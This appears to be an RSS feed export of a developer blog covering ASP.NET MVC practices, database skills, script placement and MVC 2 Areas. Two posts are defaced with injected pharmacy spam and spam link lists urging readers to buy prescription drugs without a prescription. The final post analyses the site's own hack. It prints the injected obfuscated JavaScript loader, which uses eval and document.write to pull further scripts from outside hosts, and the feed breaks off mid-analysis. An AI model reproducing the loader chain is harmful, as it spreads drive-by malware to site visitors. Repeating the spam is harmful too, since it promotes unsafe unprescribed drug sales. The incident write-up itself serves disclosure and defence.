You have a web app.  You have to navigate between pages, call web services, link in javascript and CSS.  That is just what we do.  All of those links should be wrapped in Url.Content or Url.Action helpers.   The problem that is easy to run into is you move from development to test and the base url for your application changes.  You were testing at http://localhost:898989/ , and now you are deployed to http://myserver/myapp/  and a whole lot of urls just stopped working.  Url.Content and Url.Action are supposed to fix that.  That is why you use them.

7.  <strong>Get to know Partial Views for Ajax calls.</strong>

Partial views are actually just views that don't have master pages and the html/body tag sections.  Partials can be executed in a multitude of ways, not just from inside a view on the server, but also from Javascript on the browser. JQuery also has a wonderful little method called $.load that will call a url, take the html that is returned, and slap it into the page.  This can greatly simplify a lot of behaviors.

I subtle little trick I sometimes do with this this is to wrap a section of code that takes a long time to load in a partial.  I will then call that partial into my page AFTER is has loaded on the browser (using the JavaScript function setTimeout to call the $.load ).  Now I get  a page that loads faster, but still has all of the data it needs.

8. <strong>Make the Master page work for you.</strong>

It isn't that there is something inherently wrong with the existing master page that you get when you create a new Asp.net MVC project.  Typically it is 80% of what you would want.  But, as soon as I know what my general page is supposed to look like, I rip right into the Master Page.   Also keep in mind that you can nest Master Pages as well.

9. <strong>Think about what a designer would want.</strong>

Even if you don't have one.  This is just a general pattern I try to get into.  I think about a designer as someone that can take raw html, add some css and images and make my work look a LOT better.    This means I use the raw html whenever possible, I write my JavaScript click handler so they will work with buttons or links (hint: always return false -- and why haven't I written a JQuery plugin for this yet?).

10.  <strong>Version your css and JavaScript</strong>

This is actually getting into my next blog post, but figure out a way to version your JavaScript and CSS.  This really isn't MVC specific, you should do this in almost any project.  The key reason is to help you with a browser's cache.  You know you have a problem when the first thing someone tells you, when asking for help, is that they cleared their cache already.   My thought on this is your web app's dll should have a version number, set the project to auto version, and then pop that onto the end of the css/javascript file call.  So it might look like this:  "http://myapp/.../file.css?version=1.0.0.256".   In my sample code, when in development I stick a timestamp on the file in the same way.

OK, 10 rules is quite enough (I didn't even think I would get that many).   To the american's reading this: Happy Independence Day.]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/07/05/asp-net-mvc-my-personal-view-rules/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Developers still need database skills</title>
		<link>http://elegantcode.com/2010/04/30/developers-still-need-database-skills/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=developers-still-need-database-skills</link>
		<comments>http://elegantcode.com/2010/04/30/developers-still-need-database-skills/#comments</comments>
		<pubDate>Sat, 01 May 2010 00:53:37 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2010/04/30/developers-still-need-database-skills/</guid>
		<description><![CDATA[Rant here.&#160; First off, I’m going to be talking about DBAs.&#160; And by DBA, I mean a database developer.&#160; Someone who knows relational theory, optimization, and SQL inside out.&#160; This is an R&#38;D DBA.&#160; There is another type of DBA that mainly deals with uptime and backup strategies.&#160; This is an IT DBA, I’m not [...]]]></description>
			<content:encoded><![CDATA[<p>Rant here.&#160; First off, I’m going to be talking about DBAs.&#160; And by DBA, I mean a database developer.&#160; Someone who knows relational theory, optimization, and SQL inside out.&#160; This is an R&amp;D DBA.&#160; There is another type of DBA that mainly deals with uptime and backup strategies.&#160; This is an IT DBA, I’m not talking about that one at all.</p>  <p>I was going to talk to some of my fellow developers about a couple of database issues.&#160; The response was, “you said the ‘D’ word.&#160; Now, we are an NHibernate/Microsoft SQL Server shop (or, Fluent NHibernate), and we rarely have to think about think about database architecture.&#160; Heck, up till a month ago I don’t think we had to do any native SQL queries at all.&#160; Currently, I don’t think we have any stored procs at all.&#160; In my book, all of that is a good thing.&#160; You can also chalk one up to Microsoft SQL Server in this one, our system has grown a lot and performance has remained pretty darn stable.</p>  <p>And lets be frank, I love this – most of the time.&#160; Linq To NHibernate queries, Fluent NHibernate, and the like all make for a very enjoyable experience for developing against a database.&#160; I would say that the vast majority of our querying needs are met with no further issues.&#160; I certainly don’t want to go back to a stored proc world.&#160; </p>  <p>That said, I don’t like using our ORM as an excuse to not talk about database issues or SQL issues.&#160; If you are using a particular data storage technology, it still behooves you to know as much about it as possible.&#160; Otherwise, when you get to a point where you need to know about what is going on will be too late.&#160; Lets be frank here, no ORM will handle all of you query needs.&#160; At best we are talking 90%, sometimes only 80%, for a typical application.&#160; At some point you either have to go to the metal, or you end up coding things in a very strange way.</p>  <p>So here is the main point, as long as Relational Databases continue to be the “right answer” for business data storage, you need to learn database theory and SQL.&#160; You might not need to know SQL as well as your native C#, Ruby, or other main language.&#160; But that is not an excuse for not being comfortable with left outer joins, third normal form, and indexing.</p>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/04/30/developers-still-need-database-skills/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Your JavaScript goes WHERE?</title>
		<link>http://elegantcode.com/2010/03/30/your-javascript-goes-where/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=your-javascript-goes-where</link>
		<comments>http://elegantcode.com/2010/03/30/your-javascript-goes-where/#comments</comments>
		<pubDate>Wed, 31 Mar 2010 03:35:37 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[html]]></category>
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2010/03/30/your-javascript-goes-where/</guid>
		<description><![CDATA[Let me start by saying that I was not trying to be controversial.  I was at Boise Code Camp giving a session about Asp.Net MVC, and I happened to mention that JavaScript was supposed to go at the bottom of your page.  Plus, I said this in a “of course you all know this already” [...]]]></description>
			<content:encoded><![CDATA[Let me start by saying that I was not trying to be controversial.  I was at Boise Code Camp giving a session about Asp.Net MVC, and I happened to mention that JavaScript was supposed to go at the bottom of your page.  Plus, I said this in a “of course you all know this already” type of voice, thinking this needed no further explanation.

Then the hands started raising.  Quickly, I might add.  I had to explain myself.  Yes, JavaScript goes at the bottom of your page.  Yes, I realize that we were all taught, back in the day, that JavaScript’s true home was in the &lt;head&gt; element.  In fact, <a href="http://docs.jquery.com/Tutorials:Getting_Started_with_jQuery">many sample pages still show JavaScript at the top</a>.  But we probably learned that ten years ago, you have to think a few things have changed…except IE6 – that sucker is going to live forever!  Anyway, I’m not the type that like to stand up in a crowd and say “everything you, and everyone you know, is doing is wrong” (I’m not that smart).  And if I do, I want to come with some substantial proof.

To start, <a href="http://www.w3.org/TR/REC-html40/interact/scripts.html#h-18.2.1">where does the w3c say the SCRIPT element is supposed to go?</a>  If you read the document in the link, SCRIPT can live in either the HEAD or the BODY elements. So technically, both places are legal.  I am stating this so that no one come back and tells me I’m breaking any fundamental web rules.  If the w3c says it is ok, then it is ok darn it.
<h2>But why the bottom of the page? </h2>
That one is slightly harder to explain.  But here are the basics:  when a browser loads a document there are only so many thread for processing the document and download all the other crap that you put on the page <a href="http://theoatmeal.com/comics/design_hell">so it pops</a> (so, images and css, not to mention the bagillion font tags that Word likes to put in html).  There is also an unwritten rule that JavaScript should enhance the page after it is loaded.  So any time the browser spends parsing JavaScript is time it could be using to make the page look right.  Also, with some browsers, when the browser is loading JavaScript, ALL OTHER ACTIVITY STOPS.  Nothing else is downloaded, the browser is at a standstill until all the script is parsed – and <a href="http://ejohn.org/blog/javascript-performance-rundown/">you know how fast IE is at JavaScript.</a>

Lets be clear about this “rule”.  <a href="http://developer.yahoo.com/performance/rules.html#js_bottom">I did not make this up.</a>  But there are other ways around the performance penalty, you can also <a href="http://code.google.com/speed/page-speed/docs/payload.html#DeferLoadingJS">defer load</a> your JavaScript.  Also, putting all of the JavaScript into a single, external file is a great idea.  With a external file you get the added benefit of the JavaScript file being cached by the browser (Note: great for the user – pain for your tester.  Repeat after me, “CLEAR YOUR CACHE” often when testing).

OK, so let us review.

<a href="http://elegantcode.com/wp-content/uploads/2010/03/image17.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" src="http://elegantcode.com/wp-content/uploads/2010/03/image_thumb17.png" border="0" alt="image" width="823" height="594" /></a>
<h2>But how bad is this?</h2>
That is a fair question as well.  Truthfully, it depends.  I know that is my stock answer, but I’m talking about how much this will affect the user.  It could be nothing.  But if you have a lot of JavaScript on the page, it could be significant.   Potentially it could be as annoying as a blink tag.  Even worse it might be on par with ESPN and their auto-playing videos.   But, if we are talking about 10-20 lines of script, there could be no change at all in render time. I will say this, by moving the script to the bottom of the page I have taken pages that were not usable for 10 seconds, improved it to moments (the page had a LOT of JavaScript…and it was a very noble cause).
<h2>What else should I be doing that I’m not?</h2>
This one is easy.  Run all of your pages through <a href="http://developer.yahoo.com/yslow/">YSlow</a> and <a href="http://code.google.com/speed/page-speed/">PageSpeed</a> (you need FireFox and <a href="http://getfirebug.com/">Firebug</a> installed for this) and find out.  Also, you don’t have to be perfect as far as these tools are concerned.  Some of the rule are probably not practical either (the “You should be using a CDN for images” rule comes to mind).  But it is good to know where you can improve.  PageSpeed has a number of really nice tools as well.  It will return you properly sized images, and compressed CSS and JavaScript if you ask it.]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/03/30/your-javascript-goes-where/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Asp.Net MVC 2 Areas</title>
		<link>http://elegantcode.com/2010/03/13/asp-net-mvc-2-areas/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=asp-net-mvc-2-areas</link>
		<comments>http://elegantcode.com/2010/03/13/asp-net-mvc-2-areas/#comments</comments>
		<pubDate>Sun, 14 Mar 2010 00:13:19 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Asp.Net MVC]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2010/03/13/asp-net-mvc-2-areas/</guid>
		<description><![CDATA[I’m looking into the new stuff in Asp.Net MVC 2, trying to figure out what is cool and what is just there.&#160; Areas look like a nice addition.&#160; Areas allow you to separate your Asp.Net MVC application into more distinct partitions.&#160; So all of the Controllers, Models, Views, and even routes belong to one directory [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://elegantcode.com/wp-content/uploads/2010/03/image13.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; margin-left: 0px; border-top: 0px; margin-right: 0px; border-right: 0px" title="image" border="0" alt="image" align="right" src="http://elegantcode.com/wp-content/uploads/2010/03/image_thumb13.png" width="119" height="244" /></a>I’m looking into the new stuff in Asp.Net MVC 2, trying to figure out what is cool and what is just there.&#160; Areas look like a nice addition.&#160; Areas allow you to separate your Asp.Net MVC application into more distinct partitions.&#160; So all of the Controllers, Models, Views, and even routes belong to one directory structure.&#160; It is like having a sub-project inside of you MVC project. </p>  <p>Here is the problem, as I see it:&#160; as an MVC project gets large, keeping all of the necessary pieces and parts for a set of controller actions straight can get a bit daunting.&#160; I’ve ended up with duplicate folder structures in views and models, which can make navigation a pain.</p>  <p>To make a new Area, simply right-click anywhere in you MVC project, Add-&gt;Area.&#160; As I said, you can do this from anywhere in the project structure, but the Areas are created in a new “Areas” folder.&#160; When you name the Area, a new folder is created with the Areas name as well.</p>  <p>Once created you should see all the familiar Controllers, Models, and Views folders (all blank).&#160; In addition to that, you will see an &lt;name&gt;AreaRegistration.cs file.&#160; This inherits from AreaRegistration, and this is where any new Routes go.&#160; In the file is a prebuilt route that should look similar to this:</p>  <div style="border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px" id="codeSnippetWrapper">   <div style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px" id="codeSnippet">     <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum1">   1:</span> context.MapRoute(</pre>
<!--CRLF-->

    <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum2">   2:</span>     <span style="color: #006080">&quot;test1_default&quot;</span>,</pre>
<!--CRLF-->

    <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum3">   3:</span>     <span style="color: #006080">&quot;test1/{controller}/{action}/{id}&quot;</span>,</pre>
<!--CRLF-->

    <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum4">   4:</span>     <span style="color: #0000ff">new</span> { action = <span style="color: #006080">&quot;Index&quot;</span>, id = UrlParameter.Optional }</pre>
<!--CRLF-->

    <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum5">   5:</span> );</pre>
<!--CRLF--></div>
</div>

<p>So a url to the area would include /test1/ (name of my Area) in the path.&#160; That would be good if you had multiple controllers with the same name, but if you don’t, just take out the “test1” and you won’t need it in the path.</p>

<p>Also, if you leave Area name in the route, you will have a little more work to, here is what one of mine looked like:&#160; &lt;%=Html.ActionLink(&quot;test&quot;, &quot;Index&quot;, &quot;test1/TestArea&quot;) %&gt;.&#160; But it turns out this is more correct: </p>

<p>&lt;%=Html.ActionLink(&quot;test&quot;, &quot;Index&quot;, &quot;TestArea&quot;, new { area=&quot;Test1&quot;}, new {}) %&gt; </p>

<p>This also mean that any controller actions you want to link to outside if Area needs to include a blank area in the link, like this:</p>

<p>&lt;%=Html.ActionLink(&quot;Home&quot;, &quot;Index&quot;, &quot;Home&quot;, new { area=&quot;&quot;}, new {}) %&gt; </p>

<p></p>

<p></p>

<p>In case you are wondering, the first object in the area is for route values, the second is for html attributes.</p>

<p>So the downside of using Areas is that you could complicate your routing in a hurry.&#160; Plus it does not look like the Html helpers are there to lend you a hand either.&#160; It is very doable, just annoying.&#160; Of course, the easy fix is to remove the Area name from the route and move on.&#160; That should be ok so long as you do not have two controllers with the same name.</p>

<p>So are Areas a compelling feature? I think so.&#160; Plus, the larger the site, the more compelling Areas can become.&#160; For smaller sites, probably not.&#160; But I would not say no either.</p>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/03/13/asp-net-mvc-2-areas/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>JQuery Validator Cheat Sheet</title>
		<link>http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=marines-vs-boy-scouts</link>
		<comments>http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/#comments</comments>
		<pubDate>Mon, 16 Jan 2012 17:08:00 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/</guid>
		<description><![CDATA[Buy Augmentin Without Prescription, What I’m talking about here are two styles of development.&#160; And this isn’t an “us vs. them”, get Augmentin, Augmentin use, this is a “me, myself, where can i order Augmentin without prescription, Buy generic Augmentin, I and all of yall”.&#160; We all use both of these patterns in developing code, [...]]]></description>
			<content:encoded><![CDATA[<p> <p> <b>Buy Augmentin Without Prescription</b>, What I’m talking about here are two styles of development.&#160; And this isn’t an “us vs. them”, <b>get Augmentin</b>, <b>Augmentin use</b>, this is a “me, myself, <b>where can i order Augmentin without prescription</b>, <b>Buy generic Augmentin</b>, I and all of yall”.&#160; We all use both of these patterns in developing code, and will even switch patterns in the same product from feature to feature.&#160; Anyway, <b>Augmentin wiki</b>, <b>Australia, uk, us, usa</b>, here are your definitions:</p>  <p><strong>Boy Scout</strong>:&#160; “Leave thing better than you found them”</p>  <p><strong>Marine</strong>: “Get in, get out, <b>taking Augmentin</b>, <b>Augmentin alternatives</b>, leave no trace behind.”</p>  <p>Sounds simple right?&#160; So where does this apply?&#160; Starting with the Marine.&#160; I more frequently use this when dealing with someone else’s code, or something I just need to hack out real quick.&#160; Often you don’t plan on maintaining the code, <b>about Augmentin</b>, <b>Augmentin online cod</b>, probably won’t own it, or you are just following the given pattern that is already established in the code – no matter how bad it is.&#160; Typically you are just trying to get in and out without your name being attached.&#160; You will also hear the adage “if it ain’t broke don’t fix it” commonly among staunch practitioners.&#160; You can maintain code like this for a while, <b>buy no prescription Augmentin online</b>, <b>Augmentin long term</b>, but if used too often it will come back to haunt you.&#160; Each feature becomes harder to add, unexpected behaviors crop up, <b>order Augmentin online c.o.d</b>, <b>Augmentin no rx</b>, and performance problems creep in.</p>  <p>Now the Boy Scout.&#160; You are adding a feature and find a mess.&#160; The code is working, but is very unmaintainable.&#160; Instead of just adding your feature, <b>buy Augmentin without prescription</b>, <b>Augmentin photos</b>, you tear the code apart and refactor the daylights out of the code.&#160; Once complete and all is in order, then you add your feature.&#160; It took you three times longer than expected to get the feature added, <b>online Augmentin without a prescription</b>, <b>Augmentin treatment</b>, but you might be saving time in the future, assuming you will need to work with the code again.&#160; Unfortunately, <b>get Augmentin</b>, <b>Ordering Augmentin online</b>, it is also very possible to get over your head in a hurry.&#160; It would be great to have some unit tests to fall back on in this situation … but I haven’t seen that yet.&#160; A good thing to do before you start a boy scout trip is to warn people where you are going, how long you’ll be there, <b>Augmentin from canadian pharmacy</b>, <b>Augmentin australia, uk, us, usa</b>, and when to send for help.</p>  <h2>Pointers</h2>  <p>Now, lets not get too far ahead of ourselves here, <b>where can i cheapest Augmentin online</b>, <b>Kjøpe Augmentin på nett, köpa Augmentin online</b>, there is absolutely a time and place for each approach.&#160; It should also not be too hard to understand which is correct – but I’ll give some guidance anyway.&#160; Here are some points.</p>  <ol>   <li>If the code in question will be rarely used by one guy in the basement and doesn’t own a gun, marine mission till the cows come home.</li>    <li>If the code is non-critical, <b>Augmentin pharmacy</b>, <b>Discount Augmentin</b>, proof of concept, spike, <b>Augmentin without a prescription</b>, <b>Augmentin cost</b>, or the like and can get everything done in less than 4 hours, marine mission.</li>    <li>If you are a consultant brought in to add one feature and supplement a team with a strange style but is currently working for them, <b>Augmentin use</b>, <b>Augmentin trusted pharmacy reviews</b>, marine mission.&#160; Otherwise you will be “that guy”, meaning the one that didn’t fit in.&#160; Sometime it pays to just go with the flow.</li>    <li>If the code is critical path, <b>Augmentin steet value</b>, <b>Rx free Augmentin</b>, a essential web page seen by every customer you have: Boy Scout, and continue to Boy Scout.</li>    <li>If the code is already a buggy mess, <b>Augmentin dose</b>, <b>Doses Augmentin work</b>, the customers hate you, your product, <b>Augmentin recreational</b>, <b>Canada, mexico, india</b>, and your car – role up your sleeves and get to work.</li> </ol>  <p>End result, either approach can get you in trouble when used inappropriately.&#160; You need sound judgment to figure this out.&#160; But then again, <b>buy Augmentin online no prescription</b>, <b>Augmentin without prescription</b>, if software development was easy everyone would do it.</p>.  Buy Augmentin online cod.  Where can i buy cheapest Augmentin online.</p>
<p></p>
<p><b>Similar posts:</b> <a href='http://elegantcode.com/?p=4657'>Lexapro For Sale</a>. <a href='http://elegantcode.com/?p=4452'>Stromectol For Sale</a>. <a href='http://elegantcode.com/?p=4867'>Buy Soma Without Prescription</a>. <a href='http://elegantcode.com/?p=4758'>Buy Atenolol Without Prescription</a>. <a href='http://elegantcode.com/?p=4553'>Buy Female Pink Viagra Without Prescription</a>. <a href='http://elegantcode.com/?p=4662'>Where can i buy cheapest Antabuse online</a>. <a href='http://elegantcode.com/?p=4508'>Slimex (Obetrim) photos</a>. <a href='http://elegantcode.com/?p=4623'>Augmentin description</a>. <a href='http://elegantcode.com/?p=4752'>Buy Colchicine no prescription</a>. <a href='http://elegantcode.com/?p=4322'>Clonidine natural</a>.<br />
<b>Trackbacks from:</b> <a href='http://www.quarterlives.com/?p=1090'>Buy Augmentin Without Prescription</a>. <a href='http://4realz.net/?p=2432'>Buy Augmentin Without Prescription</a>. <a href='http://www.leaduganda.org/?p=903'>Buy Augmentin Without Prescription</a>. <a href='http://www.macneilbmx.com/blog/?p=6378'>Buy Augmentin Without Prescription</a>. <a href='http://www.greatgreengoods.com/?p=3806'>Buy Augmentin Without Prescription</a>. <a href='http://reversemortgagedaily.com/?p=13969'>Augmentin description</a>. <a href='http://linuxologist.com/?p=425'>Online buy Augmentin without a prescription</a>. <a href='http://home.officesnapshots.com/?p=198'>Augmentin pharmacy</a>. <a href='http://evanrapoport.com/?p=55'>Augmentin trusted pharmacy reviews</a>. <a href='http://www.themusclecarplace.com/?p=3068'>Doses Augmentin work</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Elegant Code &#187; Chris Brandsma</title>
	<atom:link href="http://elegantcode.com/author/brandsma/feed/" rel="self" type="application/rss+xml" />
	<link>http://elegantcode.com</link>
	<description></description>
	<lastBuildDate>Tue, 15 May 2012 10:00:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Flagyl For Sale</title>
		<link>http://elegantcode.com/2012/04/10/getting-hacked-and-seven-levels-of-indirection/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=getting-hacked-and-seven-levels-of-indirection</link>
		<comments>http://elegantcode.com/2012/04/10/getting-hacked-and-seven-levels-of-indirection/#comments</comments>
		<pubDate>Wed, 11 Apr 2012 04:27:49 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=5068</guid>
		<description><![CDATA[Flagyl For Sale, OK, cat out of the bag here, Elegant Code got hacked.&#160; Most likely because someone figured out a username/password on the site.&#160;&#160; That is the boring part.&#160; Blah blah blah, use strong passwords, make sure you don’t have sql injection, js injection, etc.&#160; OK, onto the interesting part!&#160;&#160; What did the hackers [...]]]></description>
			<content:encoded><![CDATA[<p> <p> <b>Flagyl For Sale</b>, OK, cat out of the bag here, Elegant Code got hacked.&#160; Most likely because someone figured out a username/password on the site.&#160;&#160; That is the boring part.&#160; Blah blah blah, use strong passwords, make sure you don’t have sql injection, js injection, etc.&#160; OK, onto the interesting part!&#160;&#160; What did the hackers do with this untold power (full admin rights to our web site)?&#160; Well, they injected one link.&#160; To a javascript file.&#160; Which loaded another javascript file, which downloaded another,…., which downloaded a Java applet, which seems to load images in the background.</p>  <p>OK, the first link injected into the site (the site master page, or whatever they call it in wordpress php land – I don’t speak much of their language) was this:</p>  <p>[http://geistsweden.eu/wp-cache/]&#160;&#160;&#160;&#160; a link that was kind enough to load this javascript.</p>  <div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">   <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">     <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">function</span> r(s) { <span style="color: #0000ff">var</span> i = 0; <span style="color: #0000ff">var</span> ss = <span style="color: #006080">''</span>; <span style="color: #0000ff">for</span> (i=s.length - 1; i &gt;= 0; i--) { ss += s.charAt(i); } <span style="color: #0000ff">return</span> ss; } <span style="color: #0000ff">try</span> { <span style="color: #0000ff">new</span> document(1111); } <span style="color: #0000ff">catch</span>(e) { x = eval; x(r(<span style="color: #006080">'&quot;=crs &quot;tpircsavaj/txet&quot;=epyt tpircs&lt;\'(etirw.tnemucod'</span>) + <span style="color: #006080">'http://dl.dropbox.com/u/64856372/B4/Controle.js'</span> + r(<span style="color: #006080">')\'&gt;tpircs/&lt;&gt;&quot;'</span>)); }</pre>  </div></div></p>
<p><p>If you can read that, you would actually see it loading another javascript file from DropBox from the following url: [http://dl.dropbox.com/u/64856372/B4/Controle.js] which in turn loads this:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> document.<span style="color: #0000ff">write</span>(unescape(<span style="color: #006080">'%3Cscript%20src%3D%22http%3A%2F%2Fflyfishers.ch%2Fwp-admin%2FcPanelX%2Findex.php%3Fsetup%3Dd%22%3E%3C%2Fscript%3E'</span>));</pre>  </div></div></p>
<p><p>Using Google Chrome, load up a random web page, right-click and take “Inspect element” somewhere on the document.&#160; Find the console tab, and you can enter in the entire part that matches “unescape(….)” and get the contents.&#160; Magically you get ANOTHER URL:&#160; [http://flyfishers.ch/wp-admin/cPanelX/index.php?setup=d].</p></p>
<p><p>Now, that part was easy, now it gets tricky, and long.&#160; Here is the contents of that GET request:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> document.write(<span style="color: #006080">'&lt;sc'</span> + <span style="color: #006080">'ri'</span> + <span style="color: #006080">'pt src=&quot;http://flyfishers.ch/wp-admin/cPanelX/index.php?setup=d&amp;s=2&amp;r='</span> + Math.floor(100000 + (Math.random()*999999 + 1)) + <span style="color: #006080">'&quot; type=&quot;text/javascript&quot; charset=&quot;iso-8859-1&quot;&gt;&lt;/sc'</span> + <span style="color: #006080">'ri'</span> + <span style="color: #006080">'pt&gt;'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>&#160; </pre></p>
